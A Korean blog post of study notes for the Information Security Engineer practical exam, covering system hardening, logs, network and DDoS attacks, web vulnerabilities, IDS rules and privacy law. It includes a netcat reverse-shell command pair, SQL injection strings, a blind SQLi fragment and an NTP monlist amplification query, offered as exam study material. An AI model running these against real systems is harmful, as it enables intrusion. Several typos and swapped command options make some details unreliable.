본문 바로가기
(실기) 정보보안기사&산업기사

정보보안기사 실기강의 정리

by IT매니절 2024. 8. 8.

LSA : 모든 계정 로그인에 대한 검증 및 시스템 자원에 대한 접근권한 검사
SAM : 사용자, 그룹계정, 암호화된 패스워드를 저장하는 데이터베이스 (SID 정보 포함)
SRM : 인증된 사용자에게 SID 부여, 파일/디렉터리에 대한 접근허용여부 결정

로컬인증
LSA -> NTLM 모듈 -> SAM 처리

원격인증
LSA -> 커버로스 프로토콜 -> 도메인컨 트롤러DC 처리

SID 식별자
500 관리자Administrator
501 Guest
1000 일반사용자

NTML v2 해시 : 윈도우비스타 이후 기본 인증 프로토콜. 복잡도 충분.

System V 계열 유닉스의 IPC
Shared Memory : 커널이 메모리 영역을 잡아주어 프로세스간에 같이 쓸 수 있도록 함
Message Queue : 메시지를 전달할 수 있는 Queue를 생성
Semaphore  세마포어 : 프로세스간 동기화를 위함 (접근순서 컨트롤)

하드링크 : 동일한 i-node number
심볼릭링크 : 별도의 i-node number
ls -l 하여 나오는 시간은 M Time(내용수정시간)을 의미함

파일 기본권한 666
디렉터리 기본권한 777

 

useradd 명령어는 root만 사용가능

-o 옵션은 중복 UID를 허용하는 옵션

Context Switching 문맥교환
CPU를 차지하고 있던 프로세스가 CPU 자원을 반납하고 새 프로세스가 CPU를 할당받는 것

디스크립터 테이블FDT
- 표준입력, 표준출력, 표준에러

ps -l에서 Z는 좀비상태를 의미한다
kill -9 또는 kill -KILL 명령어로 프로세스 강제종료 가능, 단 좀비프로세스는 삭제 불가

로그인불가계정의 로그인쉘
/sbin/nologin 또는 /bin/false

crontab
분 시 일 월 요일 작업(절대경로)
cron.allow > cron.deny
(둘 다 존재할시 cron.deny는 무시됨)

/etc/shadow 파일
계정명:암호화된값:마지막변경일:최소사용일:최대사용일:만료전경고일수:접속차단일수:사용금지일수

암호화된패스워드는
$해시알고리즘id값$솔트$암호화된값 로 구성

패스워드 잠금 passwd -l 잠금해제 passwd -u

리눅스
패스워드 정책 파일 : /etc/login.defs
최소길이 명령어 : PASS_MIN_LEN N
섀도우 저장정책 pwconv / 반대는 pwunconv

*솔라리스
패스워드 정책 파일 : /etc/default/passwd
최소길이 명령어 : PASSLENGTH = N

* AIX
패스워드 정책 파일 : /etc/security/user
최소길이 명령어 : minlen = N

* HP-UX
패스워드 정책 파일 : /etc/default/security
최소길이 명령어 : MIN_PASSWORD_LENGTH = N


SSH 22/tcp 포트

inetd.conf 파일
서비스명 소켓타입 프로토콜 플래그 사용자계정 실행경로명 실행인수
- 소켓타입은 tcp가 stream udp는 dgram

Tcpwrapper 서비스
- 허용 : hosts.allow(우선), 차단 : hosts.deny
- ALL:LOCAL 같은네트워크 호스트 모두 허용
- ALL EXCEPT in.telentd : ALL 모든 호스트에게 텔넷제외 모든 서비스 허용
- in.telentd : 192.168.1.   192.168.1.으로 시작하는 호스트들에게 텔넷 허용

PAM 서비스
/etc/pam.d 파일
type : auth, account, password, session
control : requsite, required, suffcient, optonal

root 계정의 원격접속 제한
- 텔넷 : /etc/securetty 파일(pts/~ 터미널 제거), pam_securetty.so 모듈
- SSH : /etc/ssh/sshd_config 파일, PermitRootLogin no

+ 혹시몰라 적어두는 다른 OS설정
솔라리스
/etc/default/login
CONSOLE=/dev/console

AIX
/etc/security/user
rlogin = flase

HP-UX
/etc/securetty
console 


계정잠금 임계값 설정
pam_tally2.so 모듈 사용
예시)
auth        required      pam_tally2.so deny=3 unlock_time=10
account     required      pam_tally2.so

솔라리스
RETRIES=5

AIX
loginretries=5

HP-UX
AUTH_MAXTRIES=5


root 계정 su 제한 : pam_wheel.so 모듈 사용
sudo 명령을 이용한 관리자 권한 부여 : sudoers


utmp(x) : 현재 로그인한 사용자 상태정보, w, who, finger
wtmp(x) : 사용자의 성공한 로그인/아웃 정보, last로 확인

btmp : 실패한 로그인 시도 리눅스는 lastb 유닉스는 /var/adm/loginlog 텍스트 파일
lastlog : 가장 최근에 성공한 로그인 기록, lastlog (리눅스), finger (유닉스) -t N N일내 기록 
실패한 로그인시도 : btmp파일, lastb 명령어
sulog : su명령어 결과 저장, 유닉스만 있음
acct/pacct : 로그인한 모든 사용자가 입력한 명령어, lastcomm 명령어
history : 계정별로 실행한 명령어에 대한 기록
/var/log/secure : 사용자 인증에 대한 정보
/var/log/messages : 리눅스 시스템 기본적인 시스템 로그 파일
/var/log/xferlog : ftp 서비스 로그 파일

xferlog 로그 파일 구조
전송날짜및시간 전송소요시간 원격호스트주소 전송파일크기 전송파일명 전송유형 액션플래그 전송방향 접근방식 사용자명 서비스명 인증방법 사용자id 결과
- 전송유형 : a아스키 b바이너리
- 액션플래그 : _없음 C압축 U압축해제 T아카이브
- 전송방향 : i 업로드 o 다운로드 d 삭제
- 접근방식 : r로컬 a익명 g게스트
- 사용자명 : 익명이면 ? 로 표기
- 결과 : c성공 i실패

syslog는 정보보호 특성을 고려하지 않고 개발됨
udp 514포트 사용, tcp를 이용하도록 권고

facility : 로그 생성 서비스 
prioroty : 로그 수준 (level) 이얼크데웜노인디 EACEWNID
Emergency Alert Critical Error Warming Notice Infomation debug 

로그파일 순환rotate 관리
/etc/logrotate.conf 설정파일
weekly / daily / monthly순환주기
rotate N 파일개수
create 순환시 파일 새로 생성
dateext 날짜로확장자생성
size N N메가가 되면 파일순환

스택
ESP 최하위 포인터 저장
EBP 스택프레임의 기준이 되는 SFP 포인터 저장
EIP 다음에 실행할 명령어 주소값 저장
PUSH EBP로 백업(프롤로그), POP EIP으로 백업을 꺼낸다(에필로그)

0x00 = null값, 문자열의 끝을 의미한다

스택 버퍼 오버플로우 대응기술
- 스택가드 : 복귀주소와 변수사이 특정값 저장
- 스택쉴드 : Global RET
- ASLR : 난수화

레이스컨디션 대응방안
- 임시파일 생성하지 않기
- 동일파일이 존재할 경우 생성, 쓰기 금지
- 심볼릭링크가 걸린 파일 실행 중단
- umask 022 유지

포맷 스트링 공격 Format String Attack = FSB
%n, %hn : 출력한 총 바이트수 출력. 악성코드 주소값 저장될수있음

Session Timeout 설정
/etc/profile에서 export TMOUT=600

$PATH 맨 앞에 . 이 있으면? ps나 pwd 등을 사용할 때 /usr/bin/ps ~가 아니라 ./ps ./pwd (공격자에 의해 변조된) 가 실행된다

world writable 파일
find /폴더 -perm -2
chmod o-w 파일명

passwd : 644이하
shadow : 400이하
hosts : 600 이하
xinted.conf : 600 이하
syslog.conf : 644 이하
services : 644 이하

윈도우 공유폴더 해제
AutoShareServer DWORD 0

스위치 재밍 Switch Jamming/MAC Flooding
스위치 Mac address table 버퍼 오버플로우, 허브처럼 동작하게 만드는 기법

Multiplexing(다중화) - 하나의 기능(매체)를 여러 영역에서 동시에 사용하는 기법
Demultiplexing(역다중화) - 공유하는 기능으로부터 개별 영역으로 분할하는 기법

$HOME/.rhosts, hosts.equiv 사용금지
$HOME/.rhosts, /etc/hosts.equiv 파일 소유자를 root 또는 해당 계정으로 변경하고 권한을 600 이하로 변경 -$HOME/.rhosts, /etc/hosts.equiv 파일에서 +를 제거하고 반드시 필요한 호스트/계정만 등록

IPv6 전환 기술
- 듀얼스택 (선택적)
- 터널링 (캡슐화)
- 주소/헤더 변환 (변환헤더)

ICMP
Destination Unreachable (3)
* Code 3 Port Unreachable : UDP 포트가 열려있지 않음
Redirection (5)
Time Exceeded (11)
* Echo Request(Type 8) and Reply(Type 0)

TCP 프로토콜
흐름제어, 오류제어, 혼잡제어
**Control Flags
- URG : 긴급데이터 OOB 설정
- ACK : 수신확인응답ACK Acknowledgment
- PSH : 송수신 버퍼에 있는 데이터 즉시 처리 Push
- RST : 연결 중단 Reset
- SYN : 연결 설정 Synchronize
- FIN : 연결 종료 Terminate

traceroute/tracert 
여러 중계 노드(L3장비/라우터) 각 구간에 대한 네트워크 상태를 관리
traceroute는 유닉스/리눅스에서 UDP
tracert는 윈도우에서 ICMP
TTL을 1씩 증가시키면서 반복하는 방식

netstat
-a 모든소켓
-i 인터페이스
-r 라우팅테이블
-s 프로토콜별 통계

**무차별모드 설정 : ifconfig ens3(인터페이스명) promisc

포트스캐닝 nmap
-sS, -sY, -sU, -sF, -sX, -sN
-sA 방화벽확인, -sP ping으로 활성화확인
-D 주소위조
-oN 일반파일, -oX xml파일, -oG Grepable파일

Ping of Death Attack
ICMP 패킷을 정상적인 크기보다 크게, 다수의 IP 단편화

Smurf Attack 스머프 공격
출발지 IP를 희생자 IP로 위조한 후, 증폭 네트워크로 ICMP Echo Request를 브로드캐스트
* 라우터에 no ip directed-broadcast

Teardrop Attack 티어드랍
IP패킷의 offset값을 서로 중첩되거나 멀리 떨어지게 조작
(유사 : Bonk, Boink )

Tiny Fragment 작은 단편 공격
IP 단편을 매우 작게 만들어 전송

Fragment Overlap 단편 중첩 공격
TCP 헤더가 중첩되어 덮어쓰면서, 허용되지 않은 포트로 접근

DDoS
봇넷 - 중앙집중(IRC, HTTP), 분산(P2P)
우회기법
Fast Flux 패스트 플럭스 기법 : C&C서버의 IP를 지속적으로 변화
DGA 기법 : C&C서버 도메인을 지속적으로 동적 생성
Domain Shadowing 도메인 쉐도잉 : 정상 도메인 관리자 정보 탈취 및 불법적으로 서브 도메인 생성

DNS 싱크홀SinkHole
감염된 PC가 C&C서버로 연결을 시도할 때, C&C서버 대신 싱크홀 서버로 우회

대역폭 소진
- UDP/ICMP 플러딩, TCP TYN 플러딩 등
서비스 마비
- HTTP GET 플러딩(+C&C 공격), 슬로우 HTTP (POST, HEADER, READ) DOS 등.

TCP TYN 플러딩 대응책
Syn Cookie로 완전연결되지 않으면 backlog queue가 소진되지 않도록 함
동일 Client의 연결SYN 요청에 대한 임계치 설정
첫 번째 SYN 패킷을 Drop하여, 재요청 패킷이 도착하는지 확인

웹서버 access 로그 확인
ngrep -qtW byline | grep "GET /index.php"
동일한 동적컨텐츠 호출로 인한 HTTP GET Flooding 공격


Hulk DoS 공격
임계치 기반의 디도스 대응 장비를 우회
쿼리스트링 파라미터가 계속 변경됨

Hash Dos 공격
조작된 쓰레기값 파라미터를 POST 방식으로 전송
웹서버는 다수의 해시충돌

Slow HTTP Header Dos
CR, LF (0x0d0a)

Slow HTTP POST DoS
Content-Length

Slow HTTP Read Dos
window size: 0

slow 류 공격의 대응책
동일 출발지 IP의 동시 연결에 대한 임계치 설정 iptable -m connlimit --conlimit-above 30
연결 타임아웃 설정 Timeout 120
읽기 타임아웃 설정 RequestReadTimeout header=5 body=10

DRDoS
반사Reflection와 증폭Amplification (ANY, TXT 타입)
요청 대비 질의에 대한 응답이 매우 크기 때문
dns, ntp, snmp, charegn 등 활용

인그레스Ingress 패킷 필터링
외부>내부 존재할 수 없는 ip 필터링

이그레스Egress 패킷 필터링
내부>외부 내부에서 관리중인 IP가 아니라면 위조로 판단

Unicast RPF
출발지 IP에 대해 라우팅 테이블을 이용하여 유입된 인터페이스로 다시 전송되는지(역경로) 여부를 체크

비콘Beacon 프레임/메시지
무선AP가 자신이 관리하는 무선랜BSS의 존재를 정기적으로 알리는 브로드캐스트 프레임/메시지

IEEE 802.11 무선 표준
1. Infrastructure 모드 인프라스트럭처 모드
2. Ad-Hoc 모드

WEP 문제점
24bit의 짧은 길이를 사용하므로 재사용 가능성
불완전한 RC4, 암호키 노출 가능성
무선전송 데이터 노출 위험성

IEEE 802.11i 보안 표준 (WPA1, WPA2)
WPA(=WPA1) : RC4-TKIP
WPA2 : AES-CCMP

개인은 PSK 모드, 기업은 802.1x/EAP 모드 사용


무선 AP 물리적/관리적 보안
1. SSID 변경 및 브로드캐스트 금지
2. 무선AP Default Password 변경
3. 무선 AP의 물리적 접근 제한

가상사설망
1) PPTP 2계층
2) L2F 2계층
3) L2TP 2계층
4) IPSec 3계층
5) SSH/TLS 4계층

IPSec
접근제어, 비연결형 무결성, 기밀성, 재전송공격 방지
전송모드, 터널모드(New 헤더)
AH 프로토콜, EAP 프로토콜

보안연관 SA 적용할 보안 설정 정보
보안정책 SP 적용할 보안의 종류를 정의
인터넷 키교환 IKE 보안 관련 설정들을 생성, 협상 및 관리 500/udp

SSL/TLS
기밀성, 무결성, 인증, 4계층
Handshake : 종단간의 보안 파라미터를 협상
Change Cipher Spec : 협상된 보안 파라미터를 적용/변경 알림
Record : 실질적 암복호화/검증
* TLS 1.3에 추가된 단축협상 0-RTT

완전협상과정
(S) Server Hello
-> (S) Server Certificate
-> (S) Server Key Exchange 키 교환에 필요한 정보
-> (S) Certificate Request
-> (S) Server Hello Done
-> (C) Client Certificate
-> (C) Client Key Exchange 사전 마스터 비밀Premaster secret
-> (C) Certificate Verity
-> (C) Change cihper spec
-> (C) Finished 
-> (S) Change cihper spec
-> (S) Finished 

SSL/TLS 완전 순방향 비밀성PFS
서버 개인키가 노출되어도 이전 트래픽 정보의 기밀성은 그대로 유지
키 교환시마다 임시Ephemeral 디피-헬만 키 교환
속도가 느림, 브라우저 호환을 위해 RSA 키교환 함께 사용

라우터
access-list 15 deny 192.168.0.0 0.0.255.255
Ingress 필터링 : ip access-group 15 in
Egress 필터링 : ip access-group 15 out

ICMP Unreachable 메시지 차단
interface null 0
no ip unreachables 

윈도우에서 dns 테이블 조회
ipconfig /displaydns
dns 테이블 삭제
ipconfig /flushdns

존파일
Zone Transfer(53/tcp)
AXFR : 존 버전에 상관없이 무조건 존 전송 요청 
IXFR : 존 버전을 비교하여 상위 버전일 경우 존 요청
재귀적 질의 제한 : recursion no;

HTTP
Keep-Alive On : TCP 연결 일정시간 유지 (+ KeepAliveTimeout 15 )
서버가 Set-cookie : name=test 로 -> 클라이언트는 Cookie : name=test 로 받음
httponly : 스크립트를 통해 해당 쿠키에 접근하는 것을 차단
secure : 클라이언트가 https(SSL/TLS) 통신을 할 때만 쿠키를 전송
* php면 php.ini의 session.cookie_secure = 1

FTP 제어
ftpusers : 접속을 제한할 계정정보
vsftpd.conf에 userlist_enable=YES로 설정했을 때, user_list로 제어가능
vsftpd.conf의 tcp_wrappers=YES로 설정시 hosts.allow, hosts.deny 파일 사용가능

URL 인코딩
< 0X3C %3C
= 0X3D %3D
> 0X3E %3E
' 0X27 %27
공백 0X20 %20
# 0X23 %23

SQL Injection
' or 1=1# (mysql)
' or 1=1-- (그외)

php.ini
magic_quotes_gpc, mysql_real_escape_string

Error-Based : 에러값 기반 정보획득
Blind SQL Injection : 참과거짓을 통한 단계적 정보획득
예시)
find=board&search=%27+and+substr%28%28select+table_name+from+information_schema.tables+where+table+type%3D%27base_table%27+limit+0%2C ... 하략
=> 공격자는 information_schema.tables 테이블을 통해 사용자가 생성한 테이블의 이름을 알아내려 하고 있다.

XSS와 CSRF의 차이
XSS : 쿠키정보 탈취, 악성코드 다운로드 등이 클라이언트에서 발생 
CSRF : 악의적 행위(개인정보 변경)가 서버에서 발생

서버 사이드 요청 위조SSRF
SSFR는 공격자가 요청정보를 조작하여, 웹서버가 내부 서버에 조작된 요청을 하도록 함. 주체 : 웹서버

운영체제 명령어 삽입 (OS Command Injection) 보안약점
시스템 명령어를 실행할 수 있는 함수 syxtem, exec 등

.htaccess
FilesMatch
AddType text/html .html 기타등등
LimitRequestBody 크기제한

상위 디렉터리 이동
.   %2e   %252e
..는 %2e%2e 또는 %252e%252e로 인코딩된다

파일 삽입 File Inclusion
- include 또는 require 함수 사용
- allow_url_fopen = Off 로 설정하여 대응
- display_errors=Off 로 에러페이지 노출 방지

세션관리
session.gc_maxlifetime = 600

XXE 인젝션
- 외부개체 참조 (SYSTEM 명령어)
- XML Bomb (개체 반복참조 서비스거부 유발)
XPath/XQuery 인젝션
- 입력값 검증

자동화공격 대응 : 캡차

robots.txt
대소문자구분
속성: 이렇게 콜론과 붙여써야함
User-agent, Allow, Disallow

심볼릭링크 삭제 FollowSymLinks
Referer 식별자 : 제3의 url에서 접근할 경우, 자동화 공격 의심

인증서 폐지 목록 CRL
OCSP 서비스 : CRL의 실시간 버전

오픈SSL 보안가이드
SSLProtocol all -SSLv2 -SSLv3
SSLCipherSuite ALL:!aNULL:!eNULL:!EXP:!ADH:!DES:!RC4:!MD5

SMTP
- SFP : DNS의 TXT레코드에 IP 등록
- DKIM : 전자서명+DNS의 TXT레코드에 공개키 등록
- SFP + DKIM = DMARC

집성 Aggregation : 낮은 보안 등급 정보조각을 조합해 높은 보안등급 정보 알아냄
추론 Inference : 비보안 정보를 보고 기밀정보 유추. 통계정보

접근통제
추론통제
흐름통제

DML 데이터조작 (데이터 조작)
DDL 데이터정의 (객체 정의삭제변경)
DCL 데이터제어 (권한)
TCL 트랜잭션 제어 (커밋 롤백)

GRANT ~ ON ~ TO ~
REVOKE ~ ON ~ FROM ~ 

DB 암호화
API 방식 : 각 애플리케이션 서버에 설치 (수정필요)
Plug-in 방식 : DB 서버에 설치
Hybrid 방식 : API + Plug-in
TDE 방식 : DBMS 내장

DB 점검
file_priv : 읽기 쓰기 권한
process_priv : 서버 프로세스, 스레드 정보 조회, 중지
shutdown_priv : 서버 종료

클라우드 컴퓨터
Iaas 이아스 : 물리적 인프라 자원만 지원
PaaS 파스 : 운영체제, 개발환경 플랫폼 등 지원
SaaS 싸스 : 어플리케이션, 소프트웨어 지원
SecaaS 세카스 : 클라우드 기반 보안 서비스로 SaaS 싸스의 한 종류.


Snort 룰
content 바이너리는 ||안에 기재
uricontent URI 정보 검사
offset 검사시작위치
depth offset부터 N바이트 검사
distance 매치된 곳으로부터 N바이트 떨어진 위치에서 검사
within distance로부터 N바이트 범위내 검사
nocase 대소구분X

pcre 정규식
\ 특수문자 제거
^ 다음에 오는 문자가 문자열의 시작
$ 바로 앞의 문자가 문자열의 끝을 의미함
. 임의의 문자 1개

룰 바디 설정 : Event Threshold
threshold type <limit|threshold|both> track [출발지|목적지] count c seconds s
limit : 매 s초동안 c번째 이벤트까지
threshold : 매 s초동안 c번째 이벤트마다
both : 매 s초동안 c번째 이벤트시 한 번만

-p tcp --tcp-flags ALL NONE -m limit --limit 1/second
-p tcp --tcp-flags ALL ALL -m limit --limit 1/second

tcp 플래그가 아무것도 설정되지 않거나, 모든 플래그가 설정된 경우 초당 1개까지만 -j 로그 또는 차단


무선침입방지시스템 WIPS
비인가 무선 단말기의 접속을 탐지 및 차단하고, 보안에 취약한 무선공유기AP를 탐지

네트워크 접근제어 NAC
단말기가 내부 네트워크에 접속을 시도할 때 이를 제어하고 통제

통합보안시스템 UTM
다양한 보안 기능을 하나의 장비로 통합해 제공

엔드포인트 탐지 및 대응 솔루션 EDR
엔드포인트에서 발생하는 악성행위를 실시간으로 감지

스팸차단솔루션 (Anti-spam solution)
보안운영체제 (Secure OS)
보안 USB (Security SUB)
디지털 저작권 관리 DRM : 저작권자가 배포한 디지털 자료나 하드웨어의 사용을 제어하고, 이를 의도한 용도로만 사용하도록 제어하는데 사용되는 모든 기술
네트워크/단말 정보유출방지 DLP : 정보의 흐름에 대한 모니터링과 실시간 차단

전사적 보안관리 시스템 ESM 솔루션
-> SIEM (Security Infomation & Event Management) 보안정보 및 이벤트관리 솔루션 (빅데이터 기반, 분석)
-> SOAR (Security Orchestration, Automation and Response) 보안 오케스트레이션, 자동화 및 대응 시스템 솔루션 (AI, 머신러닝 활용)

위협 인텔리전스(TI: Threat Inteligence)
수많은 위협 정보를 수집, 분석, 활용하여 생성해내는 증거 기반 정보
SIEM, SOAR 등 보안관제 솔루션과 연계

패치 관리 시스템 PMS 
하드웨어 보안 모듈 HSM
싱글 사인온 SSO
통합 접근 관리 EAM (통합 인증SSO과 사용자별/그룹별 접근권한 통제)
통합 계정 관리 IAM (EAM에서 확장, 자동화)

IDS
1) 오용탐지
- 오탐false positive : 공격 행위가 아닌 것을 공격으로 탐지함
- 미탐false negative : 공격 행위를 탐지하지 못하는 경우
2) 이상탐지
3) 호스트 기반 IDS (HIDS) Tripwire트립와이어
4) 네트워크 기반 IDS (NIDS) Snort스노트

설치위치
1) 라우터 전 : 모든 트래픽 탐지, 성능상 문제
2) 라우터 후 : 효율적 탐지, 방화벽 뒤 트래픽 탐지안됨
3) 라우터>방화벽 후 : 효율적 탐지, 보호구간내 트래픽 탐지, 외부유입되는 모든 트래픽은 모름

APT 대응 시스템
가상머신 기반의 샌드박스 환경에서 해당 파일을 직접 실행하여 악성 여부를 판단하는 행위기반분석 보안장비
샌드박스Sandbox : 보호된 영역에서 시행시켜, 내부 시스템에 악영향을 주는 것을 미연에 방지하는 기술

웹방화벽
웹 컨텐츠를 분석하고 탐지 및 차단할 수 있는 기능을 가지고 있는 보안장비
캐슬, Webknight 등

IDS는 미러링모드로, IPS는 인라인 모드로 설치

네서스nessus - 테너블사tenable 개발. 알려진 취약점에 대한 점검을 수행
닉토nikto - 방대한 취약점 DB를 통해 웹서버에 대한 포괄적 점검을 수행

루트킷 점검도구 chkrootkit
* INFECTED : 해당 파일이 변조됨
* ps 실행결과와 /proc 디렉터리에 있는 프로세스 정보를 비교

cp exe /root/tmp/test_bdoor
cp 명령어로 삭제된 프로세스 복원

rpm -V 패키지 이름
RPM 명령으로 변조파일 확인

lsattr 명령어
-i : 읽기 전용으로 변경
chattr 명령어
+i : 읽기 전용 해제

리버스 쉘Reverse Shell
내부에서 netcat 프로그램을 이용한 리버스 쉘 연결 작업
((공격자서버) nc -lvp 80 -> (희생자서버) nc 공격자 ip주소 -e /bin/bash )
외부에서 리버스 쉘을 이용해 웹서버에 악의적인 명령 수행 ( nc 커넥터가 nc 리스너로 접속 )

strace -e trace=open ps | more
특정 프로그램의 시스템 콜과 시그널을 추적하는데 사용하는 디버깅 도구

웹서버 침해사고 흔적 조회
- 임시 인터넷 객체, 임시 인터넷 파일(캐시), 열어본 페이지(히스토리), 임시 쿠키 파일

악성코드
dropper 유형 : 동작할 때 악성파일을 생성
인젝터Injecter : 드롭퍼의 특수형태. 메모리상에 악성코드 생성

정적분석 : 아이다, 올리디버거 등의 도구 사용
동적분석 : 샌드박스에서 직접 실행

윈도우 레지스트리
HKCR (HKEY_CLASS_ROOT) : 확장자와 연결프로그램
HKCU (HKEY_CURRENT_USER) : 로그인중인 사용자의 설정, 프로파일
HKLM (HKEY_LOCAL_MACHINE) : 시스템 전체 하드웨어, 응용프로그램
HKU (HKEY_USERS) : 사용자별 키 항목, 프로파일
HKCC (HKEY_CURRENT_CONFIG) : 윈도우 하드웨어 프로필

start=auto : 서비스 자동 실행
CurrentControlSet\Services : 제어판 서비스 의미
CommandPrompt : 마우스 우클릭
~\shell\open\command : 특정확장자파일 실행시 악성코드실행
FirewallPolicy\StandardProfile : 방화벽
AuthorizedApplication\List : 방화벽에 악성코드예외등록
Explorer\Advanced : Hidden 0 또는 2 숨김파일표시
Explorer\Advanced : ShowSuperHidden 0 보호된 운영체제 파일 숨기기
UnCheckedValue 값을 0으로 설정하면 다른 사용자들이 보호된 운영체제 파일 숨기기 옵션을 해제할수없다

암호 알고리즘 다운그레이드
- 프리크, 로그잼, 푸들, 드라운

NTP 분산 서비스 거부(DDoS) 
네트워크를 통해 컴퓨터 시스템간 시간 동기화를 위해 사용
monlist 명령어를 통해 대규모 증폭, 반사 형태 디도스 공격 유발
ntpdc -n -c monlist "NTP 서버 IP"
udp 123 포트 사용

SSDP 분산 서비스 거부 DDoS
udp 1900번 포트 사용
"M-SEARCH * HTTP/1.1"로 시작하는 요청 패킷

접근통제의 기본원칙
- 입력의 신뢰성
- 직무분리
- 최소 권한 부여

Q. 정보보호 및 개인정보보호 정책/시행문서 제/개정시 어떤 사항을 준수하여야 하는지 세 가지를 쓰시오
A. 이해 관계자와 정책, 시행문서 내용을 충분히 협의, 검토한다.
최고경영자 또는 최고경영자의 권한을 위임받은 자의 승인을 받는다.
정책, 시행문서의 최신본을 임직원과 관련자에게 이해하기 쉬운 형태로 전달한다.

위험관리 과정 : 5단계
위험관리 전략 및 계약 수립 -> 위험 분석 -> 위험 평가 -> 정보보호 대책 선정 -> 정보보호 계획 수립

정량적 위험분석
연간 예상 손실ALE 계산법
과거자료 분석법 (발생가능성 예측)
수학공식 접근법 (발생빈도 계산)
확률 분포법 (확률적 편차)
점수법 (가중치)

정성적 위험분석 방식
델파이법 (전문가)
시나리오법 (일정조건하)
순위결정법 (비교우위순위결정표)
퍼지행렬법 (정성적언어)

공통평가기준CC
- 평가대상TOE
- 보호 프로파일PP
- 보안목표 명세서ST
- 평가보증등급EAL

정보보호 및 개인정보보호 관리체계ISMS-P 인증
- 관리체계 기반 마련, 위험관리, 관리체계 운영, 관리체계 점검 및 개선


정보보호 최고책임자CISO : 기술적 보호 (관련 법률대응까지 포함)
개인정보 보호책임자CPO : 관리적 보호 (개인정보 보호)
개인정보처리자 : 업무를 목적으로 개인정보 처리 (기관, 단체 등)
개인정보취급자 : 실질적으로 업무를 처리하는 직원

정보보호 최고책임자의 업무
가) 정보보호 계획의 수립, 시행 및 개선
나) 정보보호 실태와 관행의 정기적인 감사 및 개선
다) 정보보호 위험의 식별 평가 및 정보보호 대책 마련
라) 정보보호 교육과 모의 훈련 계획의 수립 및 시행


개인정보 수집 목적 범위 내 제 3자 제공
1) 정보주체의 동의 받음
2) 법률에 특별한 규정이 있거나, 법령상 의무 준수를 위해 불가피
3) 공공기관이 법려 등 정하는 소관 업무 수행을 위해 불가피
4) 공중위생 등 공공의 안전과 안녕을 위해 불가피
이 때 고지해야 할 사항
1) 제공받는자
2) 제공받는자의 개인정보 이용목적
3) 제공하는 개인정보 항목
4) 제공받는자의 개인정보 보유 및 이용 기간
5) 거부권리 및 불이익 있을시 불이익 내용

위탁하는 업무의 내용과 위탁받아 처리하는자(수탁자)를 알리는 방법
1) 인터넷 홈페이지에 지속적으로 게재
2) 사업장 등의 보기 쉬운 장소에 게시
3) 같은 제목으로 연 2회이상 발행해 정보주체에게 배포하는 간행물, 홍보지, 청구서 등에 지속해서 싣는 방법
* 서비스 홍보나 판매 등 마케팅 목적은 서면 등으로 알려야 함

가명정보처리 (동의없이)
- 통계작성, 과학적 연구, 공익적 기록 보존

개인정보 처리 방침
1) 개인정보 처리 목적
2) 개인정보 처리 및 보유기간
3) 개인정보 제3자 제공에 관한 사항
4) 개인정보 파기절차 및 파기방법
5) 개인정보 처리 위탁 사항
알리는 방법
1) 인터넷 홈페이지에 지속적으로 게재
2) 사업장 등의 보기 쉬운 장소에 게시
3) 같은 제목으로 연 2회이상 발행해 정보주체에게 배포하는 간행물, 홍보지, 청구서 등에 지속해서 싣는 방법

개인정보 영향평가PIA
- 공공기관만 해당
- 5만명 이상의 정보주체에 관한 민감정보 또는 고유식별정보의 처리
- 연계 결과 50만명 이상의 정보주체에 관한 개인정보
- 100만명 이상의 정보주체
- 개인정보파일의 운용체계를 변경하려는 경우

지체없이 = 72시간 이내

유출통지 항목
1) 유출된 개인정보의 항목                   
2) 유출된 시점과 경위                    
3) 정보주체가 할 수 있는 피해 최소화 방법                    
4) 개인정보처리자의 대응조치 및 피해 구제절차                    
5) 정보주체에게 피해가 발생한 경우 신고등을 접수할 수 있는 담당부서 및 연락처

* 민감정보, 고유식별정보, 1천명이상 등은 개인정보보호위원회 또는 한국인터넷진흥원에 신고해야함

-

 

계정정보 변경
솔라리스, 리눅스 HP-UX
usermod

AIX
chuser id=100 test

-

리눅스 패스워드 복잡도 설정
/etc/pam.d/system-auth
pam_cracklib.so 모듈
인수
icredit 소문자
ucredit 대문자
ocredit 특수문자
dcredit 숫자
minlen 최소자릿수
difok 기존 패스워드와 비교

-

패스워드 최대 사용기간을 설정하지 않으면
비인가자가 공격을 시도할 수 있는 기간 제한이 없으므로 장기적인 공격을 시도할 수 있다
시도한 기간에 비례해 패스워드 유출확률이 증가한다

-

net user 계정명 /active=yes or no
=> 계정 활성화/비활성화

net share 공유자원명 /delete
=> 공유자원 해제
영구적 해제의 경우 레지스트리 편집에서
autoShareServer 값을 0으로 설정

-

NetBIOS TCP/IP 바인딩 제거
1) 실행 > ncpa.cpl
2) 네트워크 인터페이스 속성 선택
3) TCP/IPv4 속성 선택
4) 고급
5) WINS 탭의 NetBIOS over TCP/IP 사용안함

-

SMB
호스트간 파일, 디렉터리, 프린터 등을 공유할 수 있는 프로토콜
NetBIOS 세션 사용시 tcp 139번 포트 사용
SMB 자체 다이렉트 호스트 사용시 tcp 445번 포트 사용
컨피커 웜 바이러스, 워너크라이 랜섬웨어등 악용된 사례가 있다

-

감사항목
계정 로그온 이벤트
로그온 이벤트
계정관리
디렉터리 서비스 액세스
정책변경

 

 

 

 

 

강의들으면서 메모해놓은 것들 쭉 훝으면서 복사붙여넣기 했는데도 와 정말 많다.... ㅠㅠ